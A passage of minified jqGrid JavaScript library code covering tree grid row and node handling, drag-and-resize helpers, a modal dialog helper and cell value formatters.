o.p.treedatatype||Ye.extend(o.p,{treedatatype:o.p.datatype}),o.p.loadonce&&(o.p.treedatatype="local"),o.p.subGrid=!1,o.p.altRows=!1,o.p.treeGrid_bigData||(o.p.pgbuttons=!1,o.p.pginput=!1,o.p.rowList=[]),o.p.gridview=!0,null!==o.p.rowTotal||o.p.treeGrid_bigData||(o.p.rowNum=1e4),o.p.multiselect=!1,o.p.expColInd=0,e=s.icon_plus,"jQueryUI"===o.p.styleUI&&(e+="rtl"===o.p.direction?"w":"e"),o.p.treeIcons=Ye.extend({plus:e,minus:s.icon_minus,leaf:s.icon_leaf},o.p.treeIcons||{}),"nested"===o.p.treeGridModel?o.p.treeReader=Ye.extend({level_field:"level",left_field:"lft",right_field:"rgt",leaf_field:"isLeaf",expanded_field:"expanded",loaded:"loaded",icon_field:"icon"},o.p.treeReader):"adjacency"===o.p.treeGridModel&&(o.p.treeReader=Ye.extend({level_field:"level",parent_id_field:"parent",leaf_field:"isLeaf",expanded_field:"expanded",loaded:"loaded",icon_field:"icon"},o.p.treeReader)),o.p.colModel)if(o.p.colModel.hasOwnProperty(r))for(i in(t=o.p.colModel[r].name)!==o.p.ExpandColumn||n||(n=!0,o.p.expColInd=a),a++,t!==o.p.treeReader.level_field&&t!==o.p.treeReader.left_field&&t!==o.p.treeReader.right_field||(o.p.colModel[r].sorttype="integer"),o.p.treeReader)o.p.treeReader.hasOwnProperty(i)&&o.p.treeReader[i]===t&&l.push(t);Ye.each(o.p.treeReader,function(e,t){t&&-1===Ye.inArray(t,l)&&("leaf_field"===e&&(o.p._treeleafpos=a),a++,o.p.colNames.push(t),o.p.colModel.push({name:t,width:1,hidden:!0,sortable:!1,resizable:!1,hidedlg:!0,editable:!0,search:!1}))})}})},expandRow:function(n){this.each(function(){var e,t,r,i,o,a=this;a.p.treeGrid_bigData||(e=a.p.lastpage),a.grid&&a.p.treeGrid&&(t=Ye(a).jqGrid("getNodeChildren",n),r=a.p.treeReader.expanded_field,i=n[a.p.localReader.id],!1===(o=(o=void 0===(o=Ye(a).triggerHandler("jqGridBeforeExpandTreeGridRow",[i,n,t]))?!0:o)&&Ye.jgrid.isFunction(a.p.beforeExpandTreeGridRow)?a.p.beforeExpandTreeGridRow.call(a,i,n,t):o)||(Ye(t).each(function(){var e=a.p.idPrefix+Ye.jgrid.getAccessor(this,a.p.localReader.id);Ye(Ye(a).jqGrid("getGridRowById",e)).css("display",""),this[r]&&Ye(a).jqGrid("expandRow",this)}),Ye(a).triggerHandler("jqGridAfterExpandTreeGridRow",[i,n,t]),Ye.jgrid.isFunction(a.p.afterExpandTreeGridRow)&&a.p.afterExpandTreeGridRow.call(a,i,n,t),a.p.treeGrid_bigData)||(a.p.lastpage=e))})},collapseRow:function(a){this.each(function(){var e,t,r,i,o=this;o.grid&&o.p.treeGrid&&(e=Ye(o).jqGrid("getNodeChildren",a),t=o.p.treeReader.expanded_field,r=a[o.p.localReader.id],!1!==(i=(i=void 0===(i=Ye(o).triggerHandler("jqGridBeforeCollapseTreeGridRow",[r,a,e]))?!0:i)&&Ye.jgrid.isFunction(o.p.beforeCollapseTreeGridRow)?o.p.beforeCollapseTreeGridRow.call(o,r,a,e):i))&&(Ye(e).each(function(){var e=o.p.idPrefix+Ye.jgrid.getAccessor(this,o.p.localReader.id);Ye(Ye(o).jqGrid("getGridRowById",e)).css("display","none"),this[t]&&Ye(o).jqGrid("collapseRow",this)}),Ye(o).triggerHandler("jqGridAfterCollapseTreeGridRow",[r,a,e]),Ye.jgrid.isFunction(o.p.afterCollapseTreeGridRow))&&o.p.afterCollapseTreeGridRow.call(o,r,a,e)})},getRootNodes:function(){var o=[];return this.each(function(){var e,t,r=this,i=r.p.data;if(r.grid&&r.p.treeGrid)switch(r.p.treeGridModel){case"nested":e=r.p.treeReader.level_field,Ye(i).each(function(){parseInt(this[e],10)===parseInt(r.p.tree_root_level,10)&&o.push(this)});break;case"adjacency":t=r.p.treeReader.parent_id_field,Ye(i).each(function(){null!==this[t]&&"null"!==String(this[t]).toLowerCase()||o.push(this)})}}),o},getNodeDepth:function(t){var r=null;return this.each(function(){if(this.grid&&this.p.treeGrid)switch(this.p.treeGridModel){case"nested":var e=this.p.treeReader.level_field;r=parseInt(t[e],10)-parseInt(this.p.tree_root_level,10);break;case"adjacency":r=Ye(this).jqGrid("getNodeAncestors",t).length}}),r},getNodeParent:function(c){var u=null;return this.each(function(){var e=this;if(e.grid&&e.p.treeGrid)switch(e.p.treeGridModel){case"nested":var t=e.p.treeReader.left_field,r=e.p.treeReader.right_field,i=e.p.treeReader.level_field,o=parseInt(c[t],10),a=parseInt(c[r],10),n=parseInt(c[i],10);Ye(this.p.data).each(function(){if(parseInt(this[i],10)===n-1&&parseInt(this[t],10)<o&&parseInt(this[r],10)>a)return u=this,!1});break;case"adjacency":for(var l=e.p.treeReader.parent_id_field,s=e.p.localReader.id,d=c[s],p=e.p._index[d];p--;)if(String(e.p.data[p][s])===String(Ye.jgrid.stripPref(e.p.idPrefix,c[l]))){u=e.p.data[p];break}}}),u},getNodeChildren:function(u){var h=[];return this.each(function(){var e=this;if(e.grid&&e.p.treeGrid){var t,r=this.p.data.length;switch(e.p.treeGridModel){case"nested":for(var i=e.p.treeReader.left_field,o=e.p.treeReader.right_field,a=e.p.treeReader.level_field,n=parseInt(u[i],10),l=parseInt(u[o],10),s=parseInt(u[a],10),d=0;d<r;d++)(t=e.p.data[d])&&parseInt(t[a],10)===s+1&&parseInt(t[i],10)>n&&parseInt(t[o],10)<l&&h.push(t);break;case"adjacency":var p=e.p.treeReader.parent_id_field,c=e.p.localReader.id;for(d=0;d<r;d++)(t=e.p.data[d])&&String(t[p])===String(Ye.jgrid.stripPref(e.p.idPrefix,u[c]))&&h.push(t)}}}),h},getFullTreeNode:function(c,u){var h=[];return this.each(function(){var t,r,i,o=this,a=o.p.treeReader.expanded_field;if(o.grid&&o.p.treeGrid)switch(null!=u&&"boolean"==typeof u||(u=!1),o.p.treeGridModel){case"nested":var e=o.p.treeReader.left_field,n=o.p.treeReader.right_field,l=o.p.treeReader.level_field,s=parseInt(c[e],10),d=parseInt(c[n],10),p=parseInt(c[l],10);Ye(this.p.data).each(function(){parseInt(this[l],10)>=p&&parseInt(this[e],10)>=s&&parseInt(this[e],10)<=d&&(u&&(this[a]=!0),h.push(this))});break;case"adjacency":c&&(h.push(c),r=o.p.treeReader.parent_id_field,i=o.p.localReader.id,Ye(this.p.data).each(function(e){for(t=h.length,e=0;e<t;e++)if(String(Ye.jgrid.stripPref(o.p.idPrefix,h[e][i]))===String(this[r])){u&&(this[a]=!0),h.push(this);break}}))}}),h},getNodeAncestors:function(t,r,i){var o=[];return void 0===r&&(r=!1),this.each(function(){if(this.grid&&this.p.treeGrid){i=void 0!==i&&this.p.treeReader.expanded_field;for(var e=Ye(this).jqGrid("getNodeParent",t);e;){if(i)try{e[i]=!0}catch(e){}r?o.unshift(e):o.push(e),e=Ye(this).jqGrid("getNodeParent",e)}}}),o},isVisibleNode:function(r){var i=!0;return this.each(function(){var e,t;this.grid&&this.p.treeGrid&&(e=Ye(this).jqGrid("getNodeAncestors",r),t=this.p.treeReader.expanded_field,Ye(e).each(function(){if(!(i=i&&this[t]))return!1}))}),i},isNodeLoaded:function(r){var i;return this.each(function(){var e,t;this.grid&&this.p.treeGrid&&(e=this.p.treeReader.leaf_field,t=this.p.treeReader.loaded,i=void 0!==r&&(void 0!==r[t]?r[t]:!!(r[e]||0<Ye(this).jqGrid("getNodeChildren",r).length)))}),i},setLeaf:function(o,a,n){return this.each(function(){var e=Ye.jgrid.getAccessor(o,this.p.localReader.id),t=Ye("#"+e,this.grid.bDiv)[0],r=this.p.treeReader.leaf_field;try{var i=this.p._index[e];null!=i&&(this.p.data[i][r]=a)}catch(e){}!0===a?Ye("div.treeclick",t).removeClass(this.p.treeIcons.minus+" tree-minus "+this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.leaf+" tree-leaf"):!1===a&&(e=this.p.treeIcons.minus+" tree-minus",n&&(e=this.p.treeIcons.plus+" tree-plus"),Ye("div.treeclick",t).removeClass(this.p.treeIcons.leaf+" tree-leaf").addClass(e))})},reloadNode:function(p,c){return this.each(function(){var e,t,r,i,o,a,n,l,s,d;this.grid&&this.p.treeGrid&&(t=this.p.localReader.id,e=this.p.selrow,Ye(this).jqGrid("delChildren",p[t]),(c=void 0===c?!1:c)||jQuery._data(this,"events").jqGridAfterSetTreeNode||Ye(this).on("jqGridAfterSetTreeNode.reloadNode",function(){var e,t,r=this.p.treeReader.leaf_field;this.p.reloadnode&&(e=this.p.reloadnode,t=Ye(this).jqGrid("getNodeChildren",e),e[r]&&t.length?Ye(this).jqGrid("setLeaf",e,!1):e[r]||0!==t.length||Ye(this).jqGrid("setLeaf",e,!0)),this.p.reloadnode=!1}),t=this.p.treeReader.expanded_field,r=this.p.treeReader.parent_id_field,i=this.p.treeReader.loaded,o=this.p.treeReader.level_field,a=this.p.treeReader.leaf_field,n=this.p.treeReader.left_field,l=this.p.treeReader.right_field,s=Ye.jgrid.getAccessor(p,this.p.localReader.id),d=Ye("#"+s,this.grid.bDiv)[0],p[t]=!0,p[a]||Ye("div.treeclick",d).removeClass(this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.minus+" tree-minus"),this.p.treeANode=d.rowIndex,this.p.datatype=this.p.treedatatype,this.p.reloadnode=p,c&&(this.p.treeANode=0<d.rowIndex?d.rowIndex-1:1,Ye(this).jqGrid("delRowData",s)),"nested"===this.p.treeGridModel?Ye(this).jqGrid("setGridParam",{postData:{nodeid:s,n_left:p[n],n_right:p[l],n_level:p[o]}}):Ye(this).jqGrid("setGridParam",{postData:{nodeid:s,parentid:p[r],n_level:p[o]}}),Ye(this).trigger("reloadGrid"),p[i]=!0,"nested"===this.p.treeGridModel?Ye(this).jqGrid("setGridParam",{selrow:e,postData:{nodeid:"",n_left:"",n_right:"",n_level:""}}):Ye(this).jqGrid("setGridParam",{selrow:e,postData:{nodeid:"",parentid:"",n_level:""}}))})},expandNode:function(p){return this.each(function(){var e,t,r,i,o,a,n,l,s,d;this.grid&&this.p.treeGrid&&(e=this.p.treeReader.expanded_field,t=this.p.treeReader.parent_id_field,r=this.p.treeReader.loaded,i=this.p.treeReader.level_field,o=this.p.treeReader.left_field,a=this.p.treeReader.right_field,p[e]||(n=Ye.jgrid.getAccessor(p,this.p.localReader.id),l=Ye("#"+this.p.idPrefix+Ye.jgrid.jqID(n),this.grid.bDiv)[0],s=this.p._index[n],!1!==(d=(d=void 0===(d=Ye(this).triggerHandler("jqGridBeforeExpandTreeGridNode",[n,p]))?!0:d)&&Ye.jgrid.isFunction(this.p.beforeExpandTreeGridNode)?this.p.beforeExpandTreeGridNode.call(this,n,p):d)&&(Ye(this).jqGrid("isNodeLoaded",this.p.data[s])?(p[e]=!0,Ye("div.treeclick",l).removeClass(this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.minus+" tree-minus")):this.grid.hDiv.loading||(p[e]=!0,Ye("div.treeclick",l).removeClass(this.p.treeIcons.plus+" tree-plus").addClass(this.p.treeIcons.minus+" tree-minus"),this.p.treeANode=l.rowIndex,this.p.datatype=this.p.treedatatype,"nested"===this.p.treeGridModel?Ye(this).jqGrid("setGridParam",{postData:{nodeid:n,n_left:p[o],n_right:p[a],n_level:p[i]}}):Ye(this).jqGrid("setGridParam",{postData:{nodeid:n,parentid:p[t],n_level:p[i]}}),Ye(this).trigger("reloadGrid"),p[r]=!0,"nested"===this.p.treeGridModel?Ye(this).jqGrid("setGridParam",{postData:{nodeid:"",n_left:"",n_right:"",n_level:""}}):Ye(this).jqGrid("setGridParam",{postData:{nodeid:"",parentid:"",n_level:""}})),Ye(this).triggerHandler("jqGridAfterExpandTreeGridNode",[n,p]),Ye.jgrid.isFunction(this.p.afterExpandTreeGridNode))&&this.p.afterExpandTreeGridNode.call(this,n,p)))})},collapseNode:function(o){return this.each(function(){var e,t,r,i;this.grid&&this.p.treeGrid&&(e=this.p.treeReader.expanded_field,o[e])&&(t=Ye.jgrid.getAccessor(o,this.p.localReader.id),r=Ye("#"+this.p.idPrefix+Ye.jgrid.jqID(t),this.grid.bDiv)[0],(i=void 0===(i=Ye(this).triggerHandler("jqGridBeforeCollapseTreeGridNode",[t,o]))?!0:i)&&Ye.jgrid.isFunction(this.p.beforeCollapseTreeGridNode)&&(i=this.p.beforeCollapseTreeGridNode.call(this,t,o)),(o[e]=!1)!==i)&&(Ye("div.treeclick",r).removeClass(this.p.treeIcons.minus+" tree-minus").addClass(this.p.treeIcons.plus+" tree-plus"),Ye(this).triggerHandler("jqGridAfterCollapseTreeGridNode",[t,o]),Ye.jgrid.isFunction(this.p.afterCollapseTreeGridNode))&&this.p.afterCollapseTreeGridNode.call(this,t,o)})},SortTree:function(p,c,u,h){return this.each(function(){if(this.grid&&this.p.treeGrid){var e,t,r,i,o,a=[],n=this,l=Ye(this).jqGrid("getRootNodes",n.p.search),l=Ye.jgrid.from.call(this,l);for(Boolean(n.p.sortTreeByNodeType)&&(o=n.p.sortTreeNodeOrder&&"desc"===n.p.sortTreeNodeOrder.toLowerCase()?"d":"a",l.orderBy(n.p.treeReader.leaf_field,o,u,h)),l.orderBy(p,c,u,h),e=0,t=(i=l.select()).length;e<t;e++)r=i[e],a.push(r),Ye(this).jqGrid("collectChildrenSortTree",a,r,p,c,u,h);var s=Ye(this).jqGrid("getDataIDs"),d=1;Ye.each(a,function(e){var t=Ye.jgrid.getAccessor(this,n.p.localReader.id);-1!==Ye.inArray(t,s)&&(Ye("#"+Ye.jgrid.jqID(n.p.id)+" tbody tr").eq(d).after(Ye("#"+Ye.jgrid.jqID(n.p.id)+" tbody tr#"+Ye.jgrid.jqID(t))),d++)}),i=l=null}})},searchTree:function(r){var i,o,a,n,l,s,d,p=r.length||0,c=[],u=[],h=[];return this.each(function(){if(this.grid&&this.p.treeGrid&&p)for(i=this.p.localReader.id,d=0;d<p;d++){var e;if(c=Ye(this).jqGrid("getNodeAncestors",r[d],!0,!0),Boolean(this.p.FullTreeSearchResult)?(e=Ye(this).jqGrid("getFullTreeNode",r[d],!0),c=c.concat(e)):c.push(r[d]),o=c[0][i],-1!==Ye.inArray(o,u))for(l=0,a=c.length;l<a;l++){var t=!1;for(s=0,n=h.length;s<n;s++)if(c[l][i]===h[s][i]){t=!0;break}t||h.push(c[l])}else u.push(o),h=h.concat(c)}}),h},collectChildrenSortTree:function(a,n,l,s,d,p){return this.each(function(){if(this.grid&&this.p.treeGrid){var e,t,r,i,o=Ye(this).jqGrid("getNodeChildren",n,this.p.search),o=Ye.jgrid.from.call(this,o);for(o.orderBy(l,s,d,p),e=0,t=(i=o.select()).length;e<t;e++)r=i[e],a.push(r),Ye(this).jqGrid("collectChildrenSortTree",a,r,l,s,d,p)}})},setTreeRow:function(e,t){var r=!1;return this.each(function(){this.grid&&this.p.treeGrid&&(r=Ye(this).jqGrid("setRowData",e,t))}),r},delTreeNode:function(h,g){return this.each(function(){var e,t,r,i,o=this,a=o.p.localReader.id,n=o.p.treeReader.left_field,l=o.p.treeReader.right_field;if(o.grid&&o.p.treeGrid){h=Ye.jgrid.stripPref(o.p.idPrefix,h);var s=o.p._index[h];if(g&&(t=Ye(this).jqGrid("getNodeParent",o.p.data[s])),void 0!==s){var d,p,c=(d=parseInt(o.p.data[s][l],10))-parseInt(o.p.data[s][n],10)+1,u=Ye(o).jqGrid("getFullTreeNode",o.p.data[s]);if(0<u.length)for(e=0;e<u.length;e++)Ye(o).jqGrid("delRowData",o.p.idPrefix+u[e][a]);if("nested"===o.p.treeGridModel){if((r=Ye.jgrid.from.call(o,o.p.data).greater(n,d,{stype:"integer"}).select()).length)for(i in r)r.hasOwnProperty(i)&&(r[i][n]=parseInt(r[i][n],10)-c);if((r=Ye.jgrid.from.call(o,o.p.data).greater(l,d,{stype:"integer"}).select()).length)for(i in r)r.hasOwnProperty(i)&&(r[i][l]=parseInt(r[i][l],10)-c)}g&&(d=this.p.treeReader.leaf_field,p=Ye(this).jqGrid("getNodeChildren",t),t[d]&&p.length?Ye(this).jqGrid("setLeaf",t,!1):s[d]||0!==p.length||Ye(this).jqGrid("setLeaf",t,!0))}}})},delChildren:function(c){return this.each(function(){var e,t,r=this,i=r.p.localReader.id,o=r.p.treeReader.left_field,a=r.p.treeReader.right_field;if(r.grid&&r.p.treeGrid){c=Ye.jgrid.stripPref(r.p.idPrefix,c);var n=r.p._index[c];if(void 0!==n){var l,s=(l=parseInt(r.p.data[n][a],10))-parseInt(r.p.data[n][o],10)+1,d=Ye(r).jqGrid("getFullTreeNode",r.p.data[n]);if(0<d.length)for(var p=0;p<d.length;p++)d[p][i]!==c&&Ye(r).jqGrid("delRowData",r.p.idPrefix+d[p][i]);if("nested"===r.p.treeGridModel){if((e=Ye.jgrid.from(r.p.data).greater(o,l,{stype:"integer"}).select()).length)for(t in e)e.hasOwnProperty(t)&&(e[t][o]=parseInt(e[t][o],10)-s);if((e=Ye.jgrid.from(r.p.data).greater(a,l,{stype:"integer"}).select()).length)for(t in e)e.hasOwnProperty(t)&&(e[t][a]=parseInt(e[t][a],10)-s)}}}})},addChildNode:function(e,t,r,i){var o=this[0];if(r){var a,n=o.p.treeReader.expanded_field,l=o.p.treeReader.leaf_field,s=o.p.treeReader.level_field,d=o.p.treeReader.parent_id_field,p=o.p.treeReader.left_field,c=o.p.treeReader.right_field,u=o.p.treeReader.loaded,h=0,g=t;if(void 0===i&&(i=!1),null==e){if(0<=(q=o.p.data.length-1))for(;0<=q;)h=Math.max(h,parseInt(o.p.data[q][o.p.localReader.id],10)),q--;e=h+1}var f,m,v=Ye(o).jqGrid("getInd",t),j=!1;if(null==t||""===t)g=t=null,y="last",x=o.p.tree_root_level,q=o.p.data.length+1;else{var b,y="after",w=Ye.jgrid.stripPref(o.p.idPrefix,t),w=o.p._index[w],x=(t=(b=o.p.data[w])[o.p.localReader.id],parseInt(b[s],10)+1),_=Ye(o).jqGrid("getFullTreeNode",b),q=_.length?(g=q=_[_.length-1][o.p.localReader.id],Ye(o).jqGrid("getInd",o.p.idPrefix+g)):Ye(o).jqGrid("getInd",o.p.idPrefix+t);if(b[l]&&(b[n]=j=!0,Ye(o.rows[v]).find("span.cell-wrapperleaf").removeClass("cell-wrapperleaf").addClass("cell-wrapper").end().find("div.tree-leaf").removeClass(o.p.treeIcons.leaf+" tree-leaf").addClass(o.p.treeIcons.minus+" tree-minus"),o.p.data[w][l]=!1,b[u]=!0),!1===q)throw"Parent item with id: "+g+" ("+t+") can't be found";q++}if(_=q+1,void 0===r[n]&&(r[n]=!1),void 0===r[u]&&(r[u]=!1),r[s]=x,void 0===r[l]&&(r[l]=!0),"adjacency"===o.p.treeGridModel&&(r[d]=t),"nested"===o.p.treeGridModel)if(null!==t){if(a=parseInt(b[c],10),(f=Ye.jgrid.from.call(o,o.p.data).greaterOrEquals(c,a,{stype:"integer"}).select()).length)for(m in f)f.hasOwnProperty(m)&&(f[m][p]=f[m][p]>a?parseInt(f[m][p],10)+2:f[m][p],f[m][c]=f[m][c]>=a?parseInt(f[m][c],10)+2:f[m][c]);r[p]=a,r[c]=a+1}else{if(a=parseInt(Ye(o).jqGrid("getCol",c,!1,"max"),10),(f=Ye.jgrid.from.call(o,o.p.data).greater(p,a,{stype:"integer"}).select()).length)for(m in f)f.hasOwnProperty(m)&&(f[m][p]=parseInt(f[m][p],10)+2);if((f=Ye.jgrid.from.call(o,o.p.data).greater(c,a,{stype:"integer"}).select()).length)for(m in f)f.hasOwnProperty(m)&&(f[m][c]=parseInt(f[m][c],10)+2);r[p]=a+1,r[c]=a+2}(null===t||Ye(o).jqGrid("isNodeLoaded",b)||j)&&(Ye(o).jqGrid("addRowData",e,r,y,o.p.idPrefix+g),Ye(o).jqGrid("setTreeNode",q,_)),b&&!b[n]&&i&&Ye(o.rows[v]).find("div.treeclick").click()}}}),Ye.fn.jqDrag=function(e){return r(this,e,"d")},Ye.fn.jqResize=function(e,t){return r(this,e,"r",t)},Ye.jqDnR={dnr:{},e:0,drag:function(e){return"d"==n.k?l.css({left:n.X+e.pageX-n.pX,top:n.Y+e.pageY-n.pY}):(l.css({width:Math.max(e.pageX-n.pX+n.W,0),height:Math.max(e.pageY-n.pY+n.H,0)}),a&&o.css({width:Math.max(e.pageX-a.pX+a.W,0),height:Math.max(e.pageY-a.pY+a.H,0)})),!1},stop:function(){Ye(document).off("mousemove",e.drag).off("mouseup",e.stop)}};var o,a,e=Ye.jqDnR,n=e.dnr,l=e.e,r=function(e,t,r,i){return e.each(function(){(t=t?Ye(t,e):e).on("mousedown",{e:e,k:r},function(e){var t=e.data,r={};if(l=t.e,o=!!i&&Ye(i),"relative"!=l.css("position"))try{l.position(r)}catch(e){}if(n={X:r.left||s("left")||0,Y:r.top||s("top")||0,W:s("width")||l[0].scrollWidth||0,H:s("height")||l[0].scrollHeight||0,pX:e.pageX,pY:e.pageY,k:t.k},a=!(!o||"d"==t.k)&&{X:r.left||d("left")||0,Y:r.top||d("top")||0,W:o[0].offsetWidth||d("width")||0,H:o[0].offsetHeight||d("height")||0,pX:e.pageX,pY:e.pageY,k:t.k},Ye("input.hasDatepicker",l[0])[0])try{Ye("input.hasDatepicker",l[0]).datepicker("hide")}catch(e){}return Ye(document).mousemove(Ye.jqDnR.drag).mouseup(Ye.jqDnR.stop),!1})})},s=function(e){return parseInt(l.css(e),10)||!1},d=function(e){return parseInt(o.css(e),10)||!1},p=(Ye.fn.tinyDraggable=function(e){var a=Ye.extend({handle:0,exclude:0},e);return this.each(function(){var r,i,o=Ye(this);(a.handle?Ye(a.handle,o):o).on({mousedown:function(e){var t;a.exclude&&~Ye.inArray(e.target,Ye(a.exclude,o))||(e.preventDefault(),t=o.offset(),r=e.pageX-t.left,i=e.pageY-t.top,Ye(document).on("mousemove.drag",function(e){o.offset({top:e.pageY-i,left:e.pageX-r})}))},mouseup:function(e){Ye(document).off("mousemove.drag")}})})},Ye.fn.jqm=function(e){var t={overlay:50,closeoverlay:!0,overlayClass:"jqmOverlay",closeClass:"jqmClose",trigger:".jqModal",ajax:h,ajaxText:"",target:h,modal:h,toTop:h,onShow:h,onHide:h,onLoad:h};return this.each(function(){if(this._jqm)return c[this._jqm].c=Ye.extend({},c[this._jqm].c,e);p++,this._jqm=p,c[p]={c:Ye.extend(t,Ye.jqm.params,e),a:h,w:Ye(this).addClass("jqmID"+p),s:p},t.trigger&&Ye(this).jqmAddTrigger(t.trigger)})},Ye.fn.jqmAddClose=function(e){return m(this,e,"jqmHide")},Ye.fn.jqmAddTrigger=function(e){return m(this,e,"jqmShow")},Ye.fn.jqmShow=function(e){return this.each(function(){Ye.jqm.open(this._jqm,e)})},Ye.fn.jqmHide=function(e){return this.each(function(){Ye.jqm.close(this._jqm,e)})},Ye.jqm={hash:{},open:function(e,t){var r=c[e],i=r.c,o="."+i.closeClass,a=0<(a=parseInt(r.w.css("z-index")))?a:3e3,n=Ye("<div></div>").css({height:"100%",width:"100%",position:"fixed",left:0,top:0,"z-index":a-1,opacity:i.overlay/100});return r.a||(r.t=t,r.a=!0,r.w.css("z-index",a),i.modal?(u[0]||setTimeout(function(){new f("bind")},1),u.push(e)):0<i.overlay?i.closeoverlay&&r.w.jqmAddClose(n):n=h,r.o=n?n.addClass(i.overlayClass).prependTo("body"):h,i.ajax?(a=i.target||r.w,e=i.ajax,a="string"==typeof a?Ye(a,r.w):Ye(a),e="@"===e.substr(0,1)?Ye(t).attr(e.substring(1)):e,a.html(i.ajaxText).load(e,function(){i.onLoad&&i.onLoad.call(this,r),o&&r.w.jqmAddClose(Ye(o,r.w)),g(r)})):o&&r.w.jqmAddClose(Ye(o,r.w)),i.toTop&&r.o&&r.w.before('<span id="jqmP'+r.w[0]._jqm+'"></span>').insertAfter(r.o),i.onShow?i.onShow(r):r.w.show(),g(r)),h},close:function(e){e=c[e];return e.a&&(e.a=h,u[0]&&(u.pop(),u[0]||new f("unbind")),e.c.toTop&&e.o&&Ye("#jqmP"+e.w[0]._jqm).after(e.w).remove(),e.c.onHide?e.c.onHide(e):(e.w.hide(),e.o&&e.o.remove())),h},params:{}},0),c=Ye.jqm.hash,u=[],h=!1,g=function(e){void 0===e.c.focusField&&(e.c.focusField=0),0<=e.c.focusField&&s(e)},s=function(e){try{Ye(":input:visible",e.w)[parseInt(e.c.focusField,10)].focus()}catch(e){}},f=function(e){Ye(document)[e]("keypress",t)[e]("keydown",t)[e]("mousedown",t)},t=function(r){var e=c[u[u.length-1]],i=!Ye(r.target).parents(".jqmID"+e.s)[0];return i&&Ye(".jqmID"+e.s).each(function(){var e=Ye(this),t=e.offset();if(t.top<=r.pageY&&r.pageY<=t.top+e.height()&&t.left<=r.pageX&&r.pageX<=t.left+e.width())return i=!1}),!i},m=function(e,t,r){return e.each(function(){var e=this._jqm;Ye(t).each(function(){this[r]||(this[r]=[],Ye(this).click(function(){for(var e in{jqmShow:1,jqmHide:1})for(var t in this[e])c[this[e][t]]&&c[this[e][t]].w[e](this);return h})),this[r].push(e)})})};Ye.fmatter={},Ye.extend(Ye.fmatter,{isBoolean:function(e){return"boolean"==typeof e},isObject:function(e){return e&&("object"==typeof e||Ye.jgrid.isFunction(e))||!1},isString:function(e){return"string"==typeof e},isNumber:function(e){return"number"==typeof e&&isFinite(e)},isValue:function(e){return this.isObject(e)||this.isString(e)||this.isNumber(e)||this.isBoolean(e)},isEmpty:function(e){return!(!this.isString(e)&&this.isValue(e)||this.isValue(e)&&""!==Ye.jgrid.trim(e).replace(/\ \;/gi,"").replace(/\ \;/gi,""))}}),Ye.fn.fmatter=function(e,t,r,i,o){var a=t;r=Ye.extend({},Ye.jgrid.getRegional(this,"formatter"),r);try{a=Ye.fn.fmatter[e].call(this,t,r,i,o)}catch(e){}return a},Ye.fmatter.util={NumberFormat:function(e,t){if(Ye.fmatter.isNumber(e)||(e*=1),Ye.fmatter.isNumber(e)){var r=e<0,i=String(e),o=t.decimalSeparator||".";if(Ye.fmatter.isNumber(t.decimalPlaces)){var a=t.decimalPlaces,n=(i=String(Number(Math.round(e+"e"+a)+"e-"+a))).lastIndexOf(".");if(0<a)for(n<0?n=(i+=o).length-1:"."!==o&&(i=i.replace(".",o));i.length-1-n<a;)i+="0"}if(t.thousandsSeparator){for(var l=t.thousandsSeparator,s=(n=-1<(n=i.lastIndexOf(o))?n:i.length,i.substring(n)),d=-1,p=n;0<p;p--)++d%3==0&&p!==n&&(!r||1<p)&&(s=l+s),s=i.charAt(p-1)+s;i=s}return i=t.prefix?t.prefix+i:i,i=t.suffix?i+t.suffix:i}return e}},Ye.fn.fmatter.defaultFormat=function(e,t){return Ye.fmatter.isValue(e)&&""!==e?e:t.defaultValue||" "},Ye.fn.fmatter.email=function(e,t){return Ye.fmatter.isEmpty(e)?Ye.fn.fmatter.defaultFormat(e,t):'<a href="mailto:'+e+'">'+e+"</a>"},Ye.fn.fmatter.checkbox=function(e,t){var r=Ye.extend({},t.checkbox),i=Object.keys(Ye.jgrid.regional)[0],r=(t=!0===(r=void 0!==t.colModel&&void 0!==t.colModel.formatoptions?Ye.extend({},r,t.colModel.formatoptions):r).disabled?'disabled="disabled"':"",!Ye.fmatter.isEmpty(e)&&void 0!==e||(e=Ye.fn.fmatter.defaultFormat(e,r)),(e=((e=String(e))+"").toLowerCase()).search(/(false|f|0|no|n|off|undefined)/i)<0?" checked='checked' ":""),o=Ye.jgrid.regional[i].defaults.valueCheckbox,a=Ye.jgrid.regional[i].defaults.valT,i=Ye.jgrid.regional[i].defaults.valF,a=void 0!==o&&"true"===e?o+" "+a:void 0!==o&&"false"===e?o+" "+i:e;return'<input title="'+a+'" type="checkbox" '+r+' value="'+e+'" offval="no" '+t+"/>"},Ye.fn.fmatter.link=function(e,t){var r={target:t.target},i="";return(r=void 0!==t.colModel&&void 0!==t.colModel.formatoptions?Ye.extend({},r,t.colModel.formatoptions):r).target&&(i="target="+r.target),Ye.fmatter.isEmpty(e)?Ye.fn.fmatter.defaultFormat(e,t):"<a "+i+' href="'+e+'">'+e+"</a>"},Ye.fn.fmatter.showlink=function(e,t){var r={baseLinkUrl:t.baseLinkUrl,showAction:t.showAction,addParam:t.addParam||"",target:t.target,idName:t.idName},i="";return(r=void 0!==t.colModel&&void 0!==t.colModel.formatoptions?Ye.extend({},r,t.colModel.formatoptions):r).target&&(i="target="+r.target),r=r.baseLinkUrl+r.showAction+"?"+r.idName+"="+t.rowId+r.addParam,Ye.fmatter.isString(e)||Ye.fmatter.isNumber(e)?"<a "+i+' href="'+r+'">'+e+"</a>":Ye.fn.fmatter.defaultFormat(e,t)},Ye.fn.fmatter.integer=function(e,t){var r=Ye.extend({},t.integer);return void 0!==t.colModel&&void 0!==t.colModel.formatoptions&&(r=Ye.extend({},r,t.colModel.formatoptions)),Ye.fmatter.isEmpty(e)?r.defaultValue:Ye.fmatter.util.NumberFormat(e,r)},Ye.fn.fmatter.number=function(e,t){var r=Ye.extend({},t.number);return void 0!==t.colModel&&void 0!==t.colModel.formatoptions&&(r=Ye.extend({},r,t.colModel.formatoptions)),Ye.fmatter.isEmpty(e)?r.defaultValue:Ye.fmatter.util.NumberFormat(e,r)},Ye.fn.fmatter.currency=function(e,t){var r=Ye.extend({},t.currency);return void 0!==t.colModel&&void 0!==t.colModel.formatoptions&&(r=Ye.extend({},r,t.colModel.formatoptions)),Ye.fmatter.isEmpty(e)?r.defaultValue:Ye.fmatter.util.NumberFormat(e,r)},Ye.fn.fmatter.date=function(e,t,r,i){var o=Ye.extend({},t.date);return!(o=void 0!==t.colModel&&void 